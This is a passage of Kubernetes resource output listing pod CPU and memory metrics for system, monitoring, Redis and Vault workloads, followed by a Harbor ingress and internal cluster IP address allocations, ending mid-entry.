- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: kube-controller-manager
    usage:
      cpu: 41558371n
      memory: 117232Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      component: kube-controller-manager
      tier: control-plane
    name: kube-controller-manager-k8s-m-1
    namespace: kube-system
  timestamp: "2025-11-29T15:49:44Z"
  window: 14.836s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: kube-controller-manager
    usage:
      cpu: 3848010n
      memory: 32856Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      component: kube-controller-manager
      tier: control-plane
    name: kube-controller-manager-k8s-m-2
    namespace: kube-system
  timestamp: "2025-11-29T15:49:50Z"
  window: 11.764s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: kube-controller-manager
    usage:
      cpu: 3035675n
      memory: 24084Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      component: kube-controller-manager
      tier: control-plane
    name: kube-controller-manager-k8s-m-3
    namespace: kube-system
  timestamp: "2025-11-29T15:49:49Z"
  window: 10.203s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: kube-proxy
    usage:
      cpu: 19581224n
      memory: 52908Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      controller-revision-hash: 6bfcbd6886
      k8s-app: kube-proxy
      pod-template-generation: "1"
    name: kube-proxy-hmvc6
    namespace: kube-system
  timestamp: "2025-11-29T15:49:46Z"
  window: 18.375s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: kube-proxy
    usage:
      cpu: 7260312n
      memory: 35568Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      controller-revision-hash: 6bfcbd6886
      k8s-app: kube-proxy
      pod-template-generation: "1"
    name: kube-proxy-jrb7h
    namespace: kube-system
  timestamp: "2025-11-29T15:49:48Z"
  window: 17.26s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: kube-proxy
    usage:
      cpu: 13594832n
      memory: 68012Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      controller-revision-hash: 6bfcbd6886
      k8s-app: kube-proxy
      pod-template-generation: "1"
    name: kube-proxy-zjr56
    namespace: kube-system
  timestamp: "2025-11-29T15:49:46Z"
  window: 10.798s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: kube-scheduler
    usage:
      cpu: 12455220n
      memory: 48132Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      component: kube-scheduler
      tier: control-plane
    name: kube-scheduler-k8s-m-1
    namespace: kube-system
  timestamp: "2025-11-29T15:49:54Z"
  window: 17.921s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: kube-scheduler
    usage:
      cpu: 12366771n
      memory: 43960Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      component: kube-scheduler
      tier: control-plane
    name: kube-scheduler-k8s-m-2
    namespace: kube-system
  timestamp: "2025-11-29T15:49:51Z"
  window: 17.864s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: kube-scheduler
    usage:
      cpu: 9903164n
      memory: 34052Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      component: kube-scheduler
      tier: control-plane
    name: kube-scheduler-k8s-m-3
    namespace: kube-system
  timestamp: "2025-11-29T15:49:52Z"
  window: 12.609s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: kubernetes-dashboard-api
    usage:
      cpu: 449961n
      memory: 20268Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: api
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-api
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.13.0
      helm.sh/chart: kubernetes-dashboard-7.13.0
      pod-template-hash: 7ccd9b445f
    name: kubernetes-dashboard-api-7ccd9b445f-vvzkr
    namespace: kubernetes-dashboard
  timestamp: "2025-11-29T15:49:43Z"
  window: 18.386s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: kubernetes-dashboard-auth
    usage:
      cpu: 406893n
      memory: 12508Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: auth
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-auth
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.3.0
      helm.sh/chart: kubernetes-dashboard-7.13.0
      pod-template-hash: 6ff66ccf8d
    name: kubernetes-dashboard-auth-6ff66ccf8d-gstmd
    namespace: kubernetes-dashboard
  timestamp: "2025-11-29T15:49:49Z"
  window: 18.017s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: proxy
    usage:
      cpu: 2082278n
      memory: 139664Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app: kubernetes-dashboard-kong
      app.kubernetes.io/component: app
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kong
      app.kubernetes.io/version: "3.8"
      helm.sh/chart: kong-2.46.0
      pod-template-hash: 648658d45f
      version: "3.8"
    name: kubernetes-dashboard-kong-648658d45f-qw2xv
    namespace: kubernetes-dashboard
  timestamp: "2025-11-29T15:49:42Z"
  window: 15.715s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: kubernetes-dashboard-metrics-scraper
    usage:
      cpu: 140998n
      memory: 23664Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: metrics-scraper
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-metrics-scraper
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.2.2
      helm.sh/chart: kubernetes-dashboard-7.13.0
      pod-template-hash: 547874fcf
    name: kubernetes-dashboard-metrics-scraper-547874fcf-ffmdz
    namespace: kubernetes-dashboard
  timestamp: "2025-11-29T15:49:48Z"
  window: 19.369s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: kubernetes-dashboard-web
    usage:
      cpu: 235389n
      memory: 12456Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: web
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-web
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.7.0
      helm.sh/chart: kubernetes-dashboard-7.13.0
      pod-template-hash: 7796b9fbbb
    name: kubernetes-dashboard-web-7796b9fbbb-9b8kx
    namespace: kubernetes-dashboard
  timestamp: "2025-11-29T15:49:43Z"
  window: 11.054s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: controller
    usage:
      cpu: 3328638n
      memory: 59840Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/name: metallb
      pod-template-hash: 5754956df6
    name: metallb-controller-5754956df6-mx99q
    namespace: metallb-system
  timestamp: "2025-11-29T15:49:50Z"
  window: 17.11s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: frr
    usage:
      cpu: 1388151n
      memory: 60328Ki
  - name: frr-metrics
    usage:
      cpu: 5323238n
      memory: 13232Ki
  - name: reloader
    usage:
      cpu: "0"
      memory: 2380Ki
  - name: speaker
    usage:
      cpu: 8132590n
      memory: 39228Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: speaker
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/name: metallb
      controller-revision-hash: 7fc7479646
      pod-template-generation: "1"
    name: metallb-speaker-shg5b
    namespace: metallb-system
  timestamp: "2025-11-29T15:49:39Z"
  window: 16.161s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: frr
    usage:
      cpu: 1319923n
      memory: 62084Ki
  - name: frr-metrics
    usage:
      cpu: 7790568n
      memory: 11312Ki
  - name: reloader
    usage:
      cpu: "0"
      memory: 4728Ki
  - name: speaker
    usage:
      cpu: 10062652n
      memory: 40284Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: speaker
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/name: metallb
      controller-revision-hash: 7fc7479646
      pod-template-generation: "1"
    name: metallb-speaker-vmtl7
    namespace: metallb-system
  timestamp: "2025-11-29T15:49:36Z"
  window: 19.891s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: speaker
    usage:
      cpu: 7267300n
      memory: 29136Ki
  - name: frr
    usage:
      cpu: 1257224n
      memory: 59744Ki
  - name: frr-metrics
    usage:
      cpu: 6600391n
      memory: 15740Ki
  - name: reloader
    usage:
      cpu: "0"
      memory: 1608Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: speaker
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/name: metallb
      controller-revision-hash: 7fc7479646
      pod-template-generation: "1"
    name: metallb-speaker-w7c6j
    namespace: metallb-system
  timestamp: "2025-11-29T15:49:39Z"
  window: 21.405s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: metrics-server
    usage:
      cpu: 8274u
      memory: 31364Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/instance: metrics-server
      app.kubernetes.io/name: metrics-server
      pod-template-hash: 5dd7b49d79
    name: metrics-server-5dd7b49d79-fk9d8
    namespace: metrics-server
  timestamp: "2025-11-29T15:49:39Z"
  window: 27.124s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: alertmanager
    usage:
      cpu: 2566117n
      memory: 26700Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/name: alertmanager
      apps.kubernetes.io/pod-index: "0"
      controller-revision-hash: prometheus-community-alertmanager-7d556454c6
      statefulset.kubernetes.io/pod-name: prometheus-community-alertmanager-0
    name: prometheus-community-alertmanager-0
    namespace: prometheus
  timestamp: "2025-11-29T15:49:46Z"
  window: 10.194s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: kube-state-metrics
    usage:
      cpu: 2745164n
      memory: 39328Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kube-state-metrics
      app.kubernetes.io/part-of: kube-state-metrics
      app.kubernetes.io/version: 2.17.0
      helm.sh/chart: kube-state-metrics-6.3.0
      pod-template-hash: "7867455795"
    name: prometheus-community-kube-state-metrics-7867455795-mk5k4
    namespace: prometheus
  timestamp: "2025-11-29T15:49:52Z"
  window: 19.491s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: node-exporter
    usage:
      cpu: 2549696n
      memory: 18756Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus-node-exporter
      app.kubernetes.io/part-of: prometheus-node-exporter
      app.kubernetes.io/version: 1.9.1
      controller-revision-hash: 845bcfccf6
      helm.sh/chart: prometheus-node-exporter-4.48.0
      pod-template-generation: "1"
    name: prometheus-community-prometheus-node-exporter-2w626
    namespace: prometheus
  timestamp: "2025-11-29T15:49:44Z"
  window: 13.029s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: node-exporter
    usage:
      cpu: 207683n
      memory: 19860Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus-node-exporter
      app.kubernetes.io/part-of: prometheus-node-exporter
      app.kubernetes.io/version: 1.9.1
      controller-revision-hash: 845bcfccf6
      helm.sh/chart: prometheus-node-exporter-4.48.0
      pod-template-generation: "1"
    name: prometheus-community-prometheus-node-exporter-jrzbq
    namespace: prometheus
  timestamp: "2025-11-29T15:49:49Z"
  window: 10.906s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: node-exporter
    usage:
      cpu: 99694n
      memory: 21064Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus-node-exporter
      app.kubernetes.io/part-of: prometheus-node-exporter
      app.kubernetes.io/version: 1.9.1
      controller-revision-hash: 845bcfccf6
      helm.sh/chart: prometheus-node-exporter-4.48.0
      pod-template-generation: "1"
    name: prometheus-community-prometheus-node-exporter-nkzcl
    namespace: prometheus
  timestamp: "2025-11-29T15:49:51Z"
  window: 13.09s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: pushgateway
    usage:
      cpu: 270168n
      memory: 22328Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus-pushgateway
      app.kubernetes.io/version: v1.11.1
      helm.sh/chart: prometheus-pushgateway-3.4.1
      pod-template-hash: 69cb7cfdbb
    name: prometheus-community-prometheus-pushgateway-69cb7cfdbb-s5gqp
    namespace: prometheus
  timestamp: "2025-11-29T15:49:40Z"
  window: 15.705s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: prometheus-server
    usage:
      cpu: 13669976n
      memory: 534156Ki
  - name: prometheus-server-configmap-reload
    usage:
      cpu: 221160n
      memory: 16960Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/name: prometheus
      app.kubernetes.io/part-of: prometheus
      app.kubernetes.io/version: v3.6.0
      helm.sh/chart: prometheus-27.39.0
      pod-template-hash: 7c866c8b56
    name: prometheus-community-server-7c866c8b56-8lndl
    namespace: prometheus
  timestamp: "2025-11-29T15:49:37Z"
  window: 15.482s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: redis
    usage:
      cpu: 23565385n
      memory: 10832Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: master
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      apps.kubernetes.io/pod-index: "0"
      controller-revision-hash: redis-master-5bfd46c97d
      helm.sh/chart: redis-23.1.3
      statefulset.kubernetes.io/pod-name: redis-master-0
    name: redis-master-0
    namespace: redis
  timestamp: "2025-11-29T15:49:52Z"
  window: 15.531s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: redis
    usage:
      cpu: 26600427n
      memory: 21108Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: replica
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      apps.kubernetes.io/pod-index: "0"
      controller-revision-hash: redis-replicas-85686886bc
      helm.sh/chart: redis-23.1.3
      statefulset.kubernetes.io/pod-name: redis-replicas-0
    name: redis-replicas-0
    namespace: redis
  timestamp: "2025-11-29T15:49:50Z"
  window: 10.749s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: redis
    usage:
      cpu: 35441377n
      memory: 18056Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: replica
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      apps.kubernetes.io/pod-index: "1"
      controller-revision-hash: redis-replicas-85686886bc
      helm.sh/chart: redis-23.1.3
      statefulset.kubernetes.io/pod-name: redis-replicas-1
    name: redis-replicas-1
    namespace: redis
  timestamp: "2025-11-29T15:49:50Z"
  window: 13.442s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: redis
    usage:
      cpu: 36971188n
      memory: 14900Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/component: replica
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      apps.kubernetes.io/pod-index: "2"
      controller-revision-hash: redis-replicas-85686886bc
      helm.sh/chart: redis-23.1.3
      statefulset.kubernetes.io/pod-name: redis-replicas-2
    name: redis-replicas-2
    namespace: redis
  timestamp: "2025-11-29T15:49:52Z"
  window: 14.855s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: tigera-operator
    usage:
      cpu: 5071359n
      memory: 120904Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      k8s-app: tigera-operator
      name: tigera-operator
      pod-template-hash: 7dcd859c48
    name: tigera-operator-7dcd859c48-7chfc
    namespace: tigera-operator
  timestamp: "2025-11-29T15:49:43Z"
  window: 15.457s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: vault
    usage:
      cpu: 27900953n
      memory: 176468Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/name: vault
      apps.kubernetes.io/pod-index: "0"
      component: server
      controller-revision-hash: vault-fcf87dff6
      helm.sh/chart: vault-0.30.1
      statefulset.kubernetes.io/pod-name: vault-0
    name: vault-0
    namespace: vault
  timestamp: "2025-11-29T15:49:47Z"
  window: 13.428s
- apiVersion: metrics.k8s.io/v1beta1
  containers:
  - name: sidecar-injector
    usage:
      cpu: 3276383n
      memory: 28392Ki
  kind: PodMetrics
  metadata:
    creationTimestamp: "2025-11-29T15:50:00Z"
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/name: vault-agent-injector
      component: webhook
      pod-template-hash: 6ffc786d9f
    name: vault-agent-injector-6ffc786d9f-8dntq
    namespace: vault
  timestamp: "2025-11-29T15:49:45Z"
  window: 12.11s
- apiVersion: networking.k8s.io/v1
  kind: IngressClass
  metadata:
    annotations:
      meta.helm.sh/release-name: ingress-nginx
      meta.helm.sh/release-namespace: ingress-nginx
    creationTimestamp: "2025-09-21T19:03:27Z"
    generation: 1
    labels:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: ingress-nginx
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: ingress-nginx
      app.kubernetes.io/part-of: ingress-nginx
      app.kubernetes.io/version: 1.13.2
      helm.sh/chart: ingress-nginx-4.13.2
    name: nginx
    resourceVersion: "64758"
    uid: 15293ae9-3f36-4083-a4fb-1f10c2923609
  spec:
    controller: k8s.io/ingress-nginx
- apiVersion: networking.k8s.io/v1
  kind: Ingress
  metadata:
    annotations:
      ingress.kubernetes.io/proxy-body-size: "0"
      ingress.kubernetes.io/ssl-redirect: "true"
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
      nginx.ingress.kubernetes.io/proxy-body-size: "0"
      nginx.ingress.kubernetes.io/ssl-redirect: "true"
    creationTimestamp: "2025-10-19T11:58:01Z"
    generation: 1
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      heritage: Helm
      release: harbor
    name: harbor-ingress
    namespace: harbor
    resourceVersion: "6777508"
    uid: bb10be32-bcc9-4a84-82d1-a828b6a85ef0
  spec:
    rules:
    - host: core.harbor.domain
      http:
        paths:
        - backend:
            service:
              name: harbor-core
              port:
                number: 80
          path: /api/
          pathType: Prefix
        - backend:
            service:
              name: harbor-core
              port:
                number: 80
          path: /service/
          pathType: Prefix
        - backend:
            service:
              name: harbor-core
              port:
                number: 80
          path: /v2/
          pathType: Prefix
        - backend:
            service:
              name: harbor-core
              port:
                number: 80
          path: /c/
          pathType: Prefix
        - backend:
            service:
              name: harbor-portal
              port:
                number: 80
          path: /
          pathType: Prefix
    tls:
    - hosts:
      - core.harbor.domain
      secretName: harbor-ingress
  status:
    loadBalancer: {}
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-22T18:24:00Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.100.172.192
    resourceVersion: "265873"
    uid: b7eb8586-2cf6-4766-a910-abea970de393
  spec:
    parentRef:
      name: vault
      namespace: vault
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-10-19T15:15:43Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.100.68.200
    resourceVersion: "6810519"
    uid: 2fb79b41-bd7e-40f5-9d1c-88d55774d5d1
  spec:
    parentRef:
      name: jaeger-query
      namespace: jaeger
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-22T13:18:24Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.101.156.66
    resourceVersion: "220119"
    uid: a3a4f314-9aad-4971-a884-a1ad918bc733
  spec:
    parentRef:
      name: cert-manager
      namespace: cert-manager
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-10-19T15:15:44Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.101.61.63
    resourceVersion: "6810532"
    uid: ab0140c2-742d-40cc-92af-971ca1499b13
  spec:
    parentRef:
      name: jaeger-collector
      namespace: jaeger
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.102.111.160
    resourceVersion: "417234"
    uid: 2f632ab5-59fa-4a3f-be84-43c205c99c79
  spec:
    parentRef:
      name: kubernetes-dashboard-kong-proxy
      namespace: kubernetes-dashboard
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-22T13:18:24Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.103.148.236
    resourceVersion: "220103"
    uid: 7fed65b6-000d-4c63-9c18-0c7b58edb1e3
  spec:
    parentRef:
      name: cert-manager-webhook
      namespace: cert-manager
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-10-19T15:15:44Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.103.191.109
    resourceVersion: "6810526"
    uid: b98d23df-33a8-4b60-818c-c5bda9972b93
  spec:
    parentRef:
      name: jaeger-agent
      namespace: jaeger
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-26T14:49:44Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.103.221.89
    resourceVersion: "1129872"
    uid: 7fe9d297-5535-471c-b2cc-4af8b25c2efd
  spec:
    parentRef:
      name: prometheus-community-kube-state-metrics
      namespace: prometheus
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-10-19T16:12:26Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.103.224.189
    resourceVersion: "6821089"
    uid: 461f9e47-5a36-464d-adc1-8643481b5c5d
  spec:
    parentRef:
      name: calico-typha
      namespace: calico-system
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-10-19T11:57:59Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.103.42.145
    resourceVersion: "6777415"
    uid: 39a173b1-5e4b-470d-8334-46fa6713aeb6
  spec:
    parentRef:
      name: harbor-redis
      namespace: harbor
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-10-19T11:57:59Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.104.132.56
    resourceVersion: "6777395"
    uid: 8912c600-cb36-4db1-a70a-3475fb7203ca
  spec:
    parentRef:
      name: harbor-database
      namespace: harbor
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-26T14:49:44Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.104.164.67
    resourceVersion: "1129881"
    uid: b133eae4-ee85-432f-8925-2e0fc13d99b6
  spec:
    parentRef:
      name: prometheus-community-alertmanager
      namespace: prometheus
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-10-19T11:15:44Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.105.117.114
    resourceVersion: "6769120"
    uid: 3dc3be5f-ef0d-4325-860c-60d8a9f69ce3
  spec:
    parentRef:
      name: redis-replicas
      namespace: redis
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-10-19T11:58:00Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.105.25.35
    resourceVersion: "6777420"
    uid: d63f367b-c0ee-49a0-aeea-9d1e3265a286
  spec:
    parentRef:
      name: harbor-registry
      namespace: harbor
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-21T20:37:13Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.105.36.182
    resourceVersion: "78699"
    uid: 3e8b5cc3-7e32-4778-9d70-8126daec6ea9
  spec:
    parentRef:
      name: grafana
      namespace: grafana
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.105.56.158
    resourceVersion: "417228"
    uid: e943c291-274d-4527-b089-c8d3acffe173
  spec:
    parentRef:
      name: kubernetes-dashboard-web
      namespace: kubernetes-dashboard
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-10-19T16:26:59Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.106.131.134
    resourceVersion: "6825399"
    uid: b6a429e2-0bc3-4875-baea-ac400dc2c27f
  spec:
    parentRef:
      name: whisker
      namespace: calico-system
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-23T10:16:02Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.106.177.228
    resourceVersion: "417249"
    uid: 7d4aeba4-ed64-477c-a00e-9975cc3773e8
  spec:
    parentRef:
      name: kubernetes-dashboard-api
      namespace: kubernetes-dashboard
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-22T13:18:24Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.106.226.230
